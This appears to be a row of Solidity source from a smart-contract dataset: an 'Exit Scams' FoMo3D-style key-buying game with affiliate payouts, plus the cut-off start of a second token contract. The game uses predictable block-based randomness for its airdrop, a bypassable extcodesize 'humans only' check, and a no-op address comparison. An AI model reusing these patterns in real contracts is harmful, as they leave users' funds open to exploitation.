address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is ExitScamsevents {}
contract ExitScams is modularLong {
using SafeMath for *;
using NameFilter for string;
using ExitScamsKeysCalcLong for uint256;
address private manager = msg.sender;
address private community1 = 0x28a52B6FB427cf299b67f68835c7A37Bf80db915;
address private community2 = 0x366b8C3Dd186A29dCaA9C148F39cdf741997A168;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x1DD1EF4696B14C82eB199f7BB13F2f0059cb6382);
string constant public name = "Exit Scams";
string constant public symbol = "ES";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 24 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => ExitScamsdatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => ExitScamsdatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => ExitScamsdatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => ExitScamsdatasets.TeamFee) public fees_;
mapping (uint256 => ExitScamsdatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = ExitScamsdatasets.TeamFee(30,0);
fees_[1] = ExitScamsdatasets.TeamFee(43,0);
fees_[2] = ExitScamsdatasets.TeamFee(56,0);
fees_[3] = ExitScamsdatasets.TeamFee(43,0);
potSplit_[0] = ExitScamsdatasets.PotSplit(25,0);
potSplit_[1] = ExitScamsdatasets.PotSplit(30,0);
potSplit_[2] = ExitScamsdatasets.PotSplit(35,0);
potSplit_[3] = ExitScamsdatasets.PotSplit(40,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. ");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
ExitScamsdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
ExitScamsdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
ExitScamsdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
ExitScamsdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
ExitScamsdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
ExitScamsdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
ExitScamsdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
ExitScamsdatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit ExitScamsevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit ExitScamsevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit ExitScamsevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit ExitScamsevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit ExitScamsevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, ExitScamsdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit ExitScamsevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, ExitScamsdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit ExitScamsevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, ExitScamsdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(ExitScamsdatasets.EventReturns memory _eventData_)
private
returns (ExitScamsdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, ExitScamsdatasets.EventReturns memory _eventData_)
private
returns (ExitScamsdatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(ExitScamsdatasets.EventReturns memory _eventData_)
private
returns (ExitScamsdatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(18)) / 100;
uint256 _com = (_pot.mul(11) / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen));
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
community1.transfer(_com/2);
community2.transfer(_com/2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = 0;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, ExitScamsdatasets.EventReturns memory _eventData_)
private
returns(ExitScamsdatasets.EventReturns)
{
uint256 _com = _eth * 39 / 1000;
uint256 _aff = _eth / 5;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit ExitScamsevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
community1.transfer(_com/2);
community2.transfer(_com/2);
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, ExitScamsdatasets.EventReturns memory _eventData_)
private
returns(ExitScamsdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 1000);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(24)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, ExitScamsdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit ExitScamsevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == manager, "only manager can activate"
);
require(activated_ == false, "Game already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library ExitScamsdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library ExitScamsKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 844 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ReentrancyGuard {
bool private rentrancy_lock = false;
modifier nonReentrant() {
require(!rentrancy_lock);
rentrancy_lock = true;
_;
rentrancy_lock = false;
}
}
contract ERC20Basic {
uint256 public totalSupply;
